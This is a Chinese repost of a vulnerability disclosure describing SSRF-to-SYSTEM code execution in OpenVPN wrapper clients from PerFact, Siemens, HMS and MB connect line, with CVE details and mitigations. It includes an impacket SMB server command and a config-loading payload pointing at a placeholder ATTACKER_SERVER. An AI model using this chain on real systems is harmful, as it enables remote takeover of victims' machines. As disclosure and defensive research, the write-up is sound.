openvpn多个漏洞|CVE-2020-14498

openvpn多个漏洞|CVE-2020-14498

执行摘要

  • Team82 广泛研究了在底层运行 OpenVPN 的 VPN 供应商应用程序。
  • Claroty 的研究人员发现了一种针对 VPN 的新攻击概念。
  • Team82 的研究发现了来自供应商 HMS 工业网络、西门子、PerFact 和 MB 连接线的流行工业 VPN 解决方案中的四个漏洞
  • 这些漏洞使用户面临远程和任意代码执行攻击,并使攻击者能够提升权限
  • 所有四家供应商都在其各自产品的更新版本中提供了修复,或提出了缓解措施。

介绍

虚拟专用网络 (VPN) 是通过 Internet 从设备到网络的加密连接,可保护敏感数据的传输。未经授权的人无法窃听流量,而且——与当今的气候相关——VPN 允许用户留在家中并安全地远程开展业务。当您设置 VPN 连接(也称为隧道)时,部分或全部 Internet 流量将作为封装数据包从您的端点通过此隧道到达 VPN 服务器,该服务器可以位于您的工作场所或其他地方。这些封装的数据包然后在隧道末端重新路由。

VPN 解决方案最常见的实现是OpenVPN,它实施技术以在路由或桥接配置和远程访问设施中创建安全的点对点或站点到站点连接。它实现客户端和服务器应用程序。

OpenVPN 由 James Yonan 编写,是免费软件,可在 GNU 通用公共许可证第 2 版 (GPLv2) 的条款下使用。因此,许多不同的系统都支持 OpenVPN。例如,DD-WRT,一种用于无线路由器的基于 Linux 的固件,包括一个用于 OpenVPN 的服务器。由于其受欢迎程度、易用性和功能,许多公司选择 OpenVPN 作为其解决方案的一部分。对于想要创建具有几个新功能的安全隧道的组织来说,这是一个可行的选择。该公司最有可能使用 OpenVPN 作为其基础,而不是重新发明轮子。

在过去的一年里,由于越来越受欢迎和不断增长的远程劳动力,Claroty Team82 忙于研究 VPN/远程访问解决方案。其中大多数将 OpenVPN 作为安全远程访问解决方案的一部分,而供应商应用程序是管理 OpenVPN 实例的包装器。在检查了几个这样的产品后,我们发现了这些类型的产品利用 OpenVPN 的方式的一个关键问题——在大多数情况下,这个问题可以通过将受害者引诱到恶意网站来导致远程代码执行。

OpenVPN 管理接口

OpenVPN 网站对管理接口的描述如下:“OpenVPN 管理接口允许通过 TCP 或 Unix 域套接字从外部程序对 OpenVPN 进行管理控制。该界面专为希望以编程方式或远程控制 OpenVPN 守护程序的开发人员设计,可在 OpenVPN 作为客户端或服务器运行时使用。”

换句话说,远程或本地程序可以完全控制 OpenVPN 实例以打开安全隧道或终止现有隧道。这就是供应商与 OpenVPN 集成并在幕后控制它的方式。要使用管理接口启动 OpenVPN,必须使用–management 指令作为参数。

由于 OpenVPN 需要高权限,供应商将安装 OpenVPN 作为以 SYSTEM 身份运行的服务,并使用管理界面启动新会话。此过程可确保即使不需要特权的应用程序也可以在不需要提升权限的情况下启动 VPN 连接。这是一种潜在风险,可能允许特权升级和攻击,从而给企业带来重大风险。

OpenVPN 管理界面很简单,由以下命令组成,其中包括:

  • 字节数
  • 退出,退出
  • 帮助
  • hold
  • kill
  • 日志
  • 沉默的
  • net
  • pid-进程号
  • 密码和用户名
  • 忘记密码
  • 信号
  • 状态
  • 地位
  • 用户名
  • 动词
  • 版本
  • 验证重试

这是使用 Wireshark 在本地捕获的会话示例。我们可以清楚地看到供应商的产品应用程序和 OpenVPN 实例之间传输的明文命令。

OpenVPN 管理接口的 Wireshark TCP 会话。

以下是使用 Wireshark 在本地捕获的会话示例。我们可以清楚地看到供应商的产品应用程序和 OpenVPN 实例之间传输的明文命令。

openvpn多个漏洞|CVE-2020-14498

经典SSRF

我们研究的许多 VPN 客户端产品都用作 OpenVPN 服务的包装器,该服务控制 VPN 连接的所有方面。客户端-服务器架构通常由三部分组成:

openvpn多个漏洞|CVE-2020-14498
通用 VPN 客户端-服务器架构。
  1. 前端:一个简单的 GUI 应用程序,可以配置 VPN 连接设置,包括加载.ovpn配置文件。
  2. 后端:从前端客户端应用程序接收命令并在接收到来自用户的适当命令后初始化 OpenVPN 实例的服务。后端通常以 SYSTEM 权限运行,默认情况下,它仅在特定端口上侦听 localhost(仅绑定到 localhost)。为了控制 OpenVPN 实例,创建了一个专用套接字通道,通过该通道,后端和 OpenVPN 实例可以通过 localhost 在专用 TCP 端口上进行通信。
  3. OpenVPN:负责 VPN 连接的服务。它由后端服务通过OpenVPN 通过专用和预定义本地 TCP 端口打开的管理接口进行控制。
openvpn多个漏洞|CVE-2020-14498

与 OpenVPN 集成的产品的通用架构。

通常,后端由前端使用专用的套接字通道进行控制。在我们测试的几乎所有产品中,专用套接字通道由明文协议和一些基本命令组成,例如“加载 OpenVPN 配置”和“启动 VPN”,没有身份验证/授权检查。选择基于明文的协议,类似于 telnet,通常是因为它的易用性和快速的开发周期。这意味着任何有权访问后端侦听的本地 TCP 端口的人都可能加载 OpenVPN 配置并强制后端使用此配置生成新的 OpenVPN 实例。

要利用此漏洞,我们需要向受害者发送一个指向恶意网站的链接,该链接带有嵌入式 JavaScript 负载,该负载将在本地发送盲 POST 请求。负载将是我们想要注入到 VPN 客户端后端的命令。一旦受害者点击链接,HTTP POST 请求将在本地触发到专用 TCP 端口,并且由于 HTTP 是基于明文的协议,每一行都以 \n 结尾,后端服务器将读取并忽略所有行,直到到达一个有意义的命令。

这是一个经典的服务器端请求伪造(SSRF),它是一个安全漏洞,允许攻击者强制服务器端应用程序向任意域发出 HTTP 请求。在这种情况下,服务器端应用程序是发送第一个请求的浏览器和激活 OpenVPN 的后端服务器的混合体。此外,这里的域实际上是 localhost,并且请求不是指向 Web 服务,而是指向管理 OpenVPN 实例的本地服务。

openvpn多个漏洞|CVE-2020-14498

强制后端服务器加载存储远程配置文件的新 OpenVPN 实例的盲 POST 请求示例。

最后,当收到有效命令时,后端服务器将解析并执行它。例如,专用于加载和启动具有特定配置文件的新 OpenVPN 实例的命令。配置文件可以位于本地、运行 OpenVPN 的同一台机器上,也可以位于远程。如果配置文件位于远程服务器上,我们需要使用 UNC 路径(基于 Windows 的操作系统)并将远程配置文件存储在远程 SMB 服务器上。OpenVPN 支持 Windows 上的 UNC 路径,因此,它很乐意加载任何远程配置。更有趣的是 OpenVPN 配置文件不必包含任何特定的后缀,因此我们甚至可以将其命名为“ README.txt ”,只要内容是有效的 OpenVPN 配置即可。

在攻击者控制的配置文件中,攻击者可以使用 OpenVPN 脚本指令之一,例如up命令来执行代码;的向上配置命令通常用于执行shell命令或脚本到TUN / TAP设备成功打开后(由出站连接之前)运行。攻击者可以使用它来执行任何命令,包括恶意命令(安装后门、勒索软件等)。

openvpn多个漏洞|CVE-2020-14498

使用恶意的 OpenVPN 配置会导致代码执行。

攻击者不需要自己设置专用的 OpenVPN 服务器,因为 up OpenVPN 指令命令是在连接到 OpenVPN 服务器之前执行的。这是因为脚本应该在 TCP/UDP 套接字绑定和 TUN/TAP 设备打开后在机器上配置路由。根据 OpenVPN 手册,可以在不同事件上触发更多脚本:

  • –up:在 TCP/UDP 套接字绑定和 TUN/TAP 打开后执行。
  • –tls-verify:当我们仍然有一个不受信任的远程对等点时执行。
  • –ipchange:连接认证,或远程IP地址改变后执行。
  • –client-connect:客户端认证后立即在–mode server模式下执行。
  • –route-up:在连接身份验证后执行,在 –route-delay 选项定义后立即执行,或在几秒后执行。
  • –route-pre-down:在删除路由之前执行。
  • –client-disconnect:在客户端实例关闭时以–mode 服务器模式执行。
  • –down:在 TCP/UDP 和 TUN/TAP 关闭后执行。
  • –learn-address:每当将 IPv4 地址/路由或 MAC 地址添加到 OpenVPN 的内部路由表时,就会在 –mode 服务器模式下执行。
  • –auth-user-pass-verify:当客户端仍然不受信任时,在新客户端连接上以 –mode 服务器模式执行。

但是,完整远程代码执行攻击的先决条件是能够通过网络到达攻击者的 SMB 服务器以获取.ovpn配置文件。因此,攻击者必须要么与受害者机器在域网络上,要么必须将受害者机器配置为允许 SMB 访问外部服务器。

openvpn多个漏洞|CVE-2020-14498

使用带有盲 SSRF 的 OpenVPN 攻击恶意网站的产品。

PerFact OpenVPN 客户端 (CVE-2021-27406)

我们研究的客户端 VPN 应用程序之一是 PerFact OpenVPN-Client。PerFact 的 OpenVPN-Client 的开发人员选择 TCP 端口 10700 用于前端和后端通信,以及 TCP 端口 10600 用于后端 OpenVPN 实例通信。

openvpn多个漏洞|CVE-2020-14498

PerFact 的 OpenVPN 客户端架构。

后端服务绑定到 localhost 接口 (127.0.0.1),默认情况下侦听 TCP 端口 10700。没有身份验证,因此任何本地连接到 TCP 端口 10700 的客户端都可以向该服务器发送数据。有四个支持的命令:

  • 状态:客户端向服务器请求当前状态。服务器将回复当前状态。
  • Config {PATH}:客户端向服务器发送 .ovpn 配置文件的路径。服务器将使用此配置文件启动一个新的 OpenVPN 实例并连接到远程 VPN 网络。
  • 关闭:将状态更改为断开连接。
  • Bye:客户端要求服务器断开当前的OpenVPN连接并通知服务器即将断开

通过 TCP 端口 10700 在本地接收数据后,服务器将读取所有传入数据,直到遇到换行符 ( \n ) 并且服务器将此块视为单个命令。它将继续解析所有数据,同时用输入字符 ( \n )分隔每个命令,直到没有更多数据可用。

所使用的文本、类似聊天的协议是一个非常简单的协议,没有可用的身份验证/授权机制。由于缺乏安全性,攻击者可以利用这种架构并从本地主机上运行的任何应用程序发送配置命令,以强制后端服务器使用任意 OpenVPN 配置初始化新的 OpenVPN 实例。并且由于打开恶意的 OpenVPN 配置文件会导致在 OpenVPN 实例的上下文中执行代码,攻击者可以轻松地以 SYSTEM 用户的权限实现代码执行。

此外,我们能够演示攻击者如何利用此漏洞进入远程代码执行场景。为此,攻击者需要准备一个恶意网站,当用户进入该网站时,恶意 JavaScript 负载会在本地向 TCP 端口 10700发送配置请求以触发远程代码执行,从而导致反向 shell 和完整的攻击者接管机器。

openvpn多个漏洞|CVE-2020-14498

Claroty PerFact OpenVPN-Client 漏洞利用,从 SSRF 到 RCE。

从盲SSRF 到 RCE

如前所述,后端服务器通过 TCP 端口 10700 在本地接收来自客户端的消息。消息由输入\n字符分隔,如果收到无效命令,服务器将不会关闭连接。这可以被攻击者利用如下:

攻击者首先准备一个可以通过UNC路径远程访问的SMB服务器。这可以使用 Python impacket SMB 服务器设置服务器轻松实现。这是创建新 SMB 服务器的命令行:

python 脚本 /src/impacket/examples/smbserver.py -smb2support -debug TMP /tmp

在里面,攻击者会放置一个特制的 OpenVPN 配置文件。配置文件必须包含下面的up OpenVPN 指令。这将导致 OpenVPN 在成功打开 TUN/TAP 设备后执行命令。

openvpn多个漏洞|CVE-2020-14498

该命令可以是任何有效的 shell 命令,唯一限制为 256 个字符。在下面的 PoC 中,我们能够通过多个 OpenVPN setvar 配置变量绕过此限制,并创建一个完整的反向 shell 命令。

openvpn多个漏洞|CVE-2020-14498

然后,攻击者将准备一个带有简单 JavaScript 负载的恶意网站,该网站将使用以下负载向 127.0.0.1:10700 发送 HTTP POST 请求(ATTACKER_SERVER 是攻击者创建的用于服务配置的 SMB 服务器实例):

配置 \\ATTACKER_SERVER\conf.ovpn

尽管同源策略 (SOP) 机制将阻止攻击者接收响应,但无论如何都会发送请求,后端服务器将接收请求并采取行动,如下所示。

openvpn多个漏洞|CVE-2020-14498

后端服务器收到请求后,会通过回车符\n来分隔传入的数据,并会尝试分别解析每个命令。由于这是一个 HTTP 请求,服务器将无法解析许多标头,就好像它们是命令一样,如下所示。

openvpn多个漏洞|CVE-2020-14498

但是,当服务器最终到达 HTTP POST 请求的末尾时,它会遇到 POST 有效负载,这是一个有效的命令!服务器将根据 config 命令采取行动,并使用远程攻击者控制的配置初始化一个新的 OpenVPN 实例。

openvpn多个漏洞|CVE-2020-14498

OpenVPN 配置将包含UP关键字,它将在 OpenVPN 实例的上下文中执行命令,这意味着下面的 SYSTEM 权限。

openvpn多个漏洞|CVE-2020-14498

因此,只需访问攻击者的网站,在后台运行 PerFact 的 OpenVPN-Client 应用程序的最终用户就可以受到全面攻击,直至完全接管整个受害者的机器。

缓解措施

以下是帮助消除 SSRF 和本地权限提升的缓解建议:

  • 使用动态参数:将所有侦听器配置为绑定在 127.0.0.0/8 范围内的动态端口和动态本地 IP 地址(例如 127.1.2.3)
  • 安全令牌和安全标志:实现前端必须传输到后端才能执行命令的秘密令牌。安全令牌将在每次启动时自动生成,并将配置适当的访问控制列表 (ACL),因此本地攻击者无法使用它来启动 VPN 会话。对 OpenVPN 使用安全标志,尤其是使用–script-security level 1限制外部命令执行,例如up命令。
  • 限制潜在的攻击面:尽可能避免以 SYSTEM 权限执行 OpenVPN。
    当后端服务器收到它不理解的命令时,例如 HTTP 方法,立即关闭会话,不要尝试进一步解析。

CVE 信息

已为用作 OpenVPN 包装器的多个 VPN 应用程序发布了以下 CVE:

CVE-2020-14498

供应商:HMS Industrial Networks AB
产品:eCatcher
CVSS v3:9.6
CWE-121 基于堆栈的缓冲区溢出
受影响的产品容易受到基于堆栈的缓冲区溢出的影响,这可能允许攻击者远程执行任意代码。
ICS-CERT 咨询

CVE-2021-27406

供应商:PerFact
产品:OpenVPN-Client
CVSS:8.8
CWE-15 系统或配置设置
的外部控制攻击者可以利用此架构并从本地主机上运行的任何应用程序发送配置命令以强制后端服务器使用任意的 open-VPN 配置初始化一个新的 open-VPN 实例。这可能导致攻击者以 SYSTEM 用户的权限执行。
ICS-CERT 咨询

CVE-2021-31338

供应商:西门子
产品:SINEMA RC 客户端
CVSS:7.8
CWE-15:系统或配置设置
的外部控制攻击者可以利用此架构并从本地主机上运行的任何应用程序发送配置命令以强制后端服务器使用任意 open-VPN 配置初始化一个新的 open-VPN 实例。这可能会导致攻击者以 SYSTEM 权限执行执行
西门子公告

CVE-2021-33526
CVE-2021-33527

供应商:MB connect line GmbH
产品:mbConnect Dialup
CVSS:7.8 和 7.8
描述:mbConnect24serv(mbDIALUP 的软件服务)中的多个漏洞可能会由于权限管理不当而导致任意代码执行。
VDE CERT 咨询

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注